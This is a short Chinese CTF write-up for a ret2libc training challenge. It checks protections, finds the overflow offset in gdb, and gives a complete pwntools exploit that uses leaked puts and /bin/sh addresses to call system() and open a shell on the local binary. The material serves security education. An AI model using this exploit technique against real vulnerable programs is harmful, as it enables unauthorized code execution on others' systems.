train.cs.nctu.edu.tw: ret2libc

发布时间 2023-11-12 11:17:51作者: cosylan

来源

本题来自ctf wiki中ret2libc后的一道练习题

检查保护

  • 只开启了 NX 保护

ida查看

  • 跟前面的shellcode的课后练习类似,泄露了/bin/sh地址和puts函数的地址

gdb调试

  • 断点下在main,结合ida中 v4 = esp+1ch 得到偏移 为 1ch

exp

from pwn import *
from LibcSearcher import *

p = process('./ret2libc')
elf = ELF('./ret2libc')

p.recvuntil('The address of \"/bin/sh\" is ')
bin_addr = int(p.recvuntil('\n',drop=True),16)
p.recvuntil('The address of function \"puts\" is 0x')
puts_addr = int(p.recvuntil('\n',drop=True),16)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')

payload = b'a'*(0x1c+4) + p32(sys_addr) + b'A'*4 + p32(bin_addr)
p.sendline(payload)
p.interactive()

运行示例

  • libc选择0、2、3都可以跑得通(根据自己运行的系统来选)(实在不行就一个个试过去)